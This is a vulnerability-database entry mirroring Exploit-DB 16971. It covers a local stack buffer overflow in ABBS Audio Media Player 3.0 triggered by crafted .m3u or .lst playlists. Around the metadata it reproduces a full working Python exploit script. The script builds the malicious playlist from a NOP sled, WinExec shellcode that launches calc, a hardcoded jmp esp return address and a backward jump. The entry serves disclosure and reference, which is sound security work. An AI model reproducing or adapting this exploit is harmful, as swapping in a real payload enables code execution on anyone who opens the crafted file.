Details of VAR-E-201103-0229

ID

VAR-E-201103-0229

EDB ID

16971

TITLE

ABBS Audio Media Player - '.m3u' / '.LST' Local Buffer Overflow - Windows local Exploit

Trust: 0.6

sources: EXPLOIT-DB: 16971

DESCRIPTION

ABBS Audio Media Player - '.m3u' / '.LST' Local Buffer Overflow. CVE-75096 . local exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 16971

AFFECTED PRODUCTS

vendor:

abbs

model:

audio media player

scope:

version:

Trust: 1.0

sources: EXPLOIT-DB: 16971

EXPLOIT

# Exploit: ABBS Audio Media Player Buffer Overflow Exploit (M3U/LST)
# Date: 14.03.11
# Author: Rh0 (Rh0[at]z1p.biz)
# Software Link: http://abbs.qsnx.net/downloads/abbs-amp.zip
# Version: 3.0
# Tested on: WinXP Pro SP3 EN (VirtualBox)

print "[*] Stack buffer overflow in ABBS Audio Media Player 3.0 [*]"
bufferlen = 4108; # buffer until return address overwrite
nops = "\x90" * 5;
## WinExec("calc",1)
shellcode = (
"\x33\xC0" # xor eax,eax
"\x50" # push eax
"\x68\x63\x61\x6C\x63" # push 'calc'
"\x8B\xDC" # mov ebx, esp
"\xB0\x01" # mov al, 1
"\x50" # push eax
"\x53" # push ebx
"\xB8\x0C\x25\x86\x7C" # mov eax, 7C86250C
"\x04\x01" # add al, 1
"\xFF\xD0" # call eax (WinExec@kernel32.dll)
)

ret = "\x87\xa7\xa7\x7c"; # jmp esp @user32.dll (0x7ca7a787)
esp = "\xe9\xeb\xef\xff\xff"; # jmp backwards 4116 bytes

buffer = nops
buffer += shellcode
buffer += "A" * (bufferlen - len(buffer))
buffer += ret;
buffer += esp;

try:
A = open("exploit.lst","wb") # exploit works also with .m3u
A.write(buffer)
A.close()
print "[*] exploit.lst created [*]"
except:
print "[*] Error while creating file [*]"

print "[*] Enter to continue.. [*]"
raw_input()

Trust: 1.0

sources: EXPLOIT-DB: 16971

EXPLOIT LANGUAGE

Trust: 0.6

sources: EXPLOIT-DB: 16971

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 16971

TYPE

'.m3u' / '.LST' Local Buffer Overflow

Trust: 1.0

sources: EXPLOIT-DB: 16971

CREDITS

Rh0

Trust: 0.6

sources: EXPLOIT-DB: 16971

EXTERNAL IDS

db:	EXPLOIT-DB	id:	16971	Trust: 1.6
db:	EDBNET	id:	39649	Trust: 0.6

sources: EXPLOIT-DB: 16971 // EDBNET: 39649

REFERENCES

url:

https://www.exploit-db.com/exploits/16971/

Trust: 0.6

sources: EDBNET: 39649

SOURCES

db:	EXPLOIT-DB	id:	16971
db:	EDBNET	id:	39649

LAST UPDATE DATE

2022-07-27T09:35:52.862000+00:00

SOURCES RELEASE DATE

db:	EXPLOIT-DB	id:	16971	date:	2011-03-14T00:00:00
db:	EDBNET	id:	39649	date:	2011-03-14T00:00:00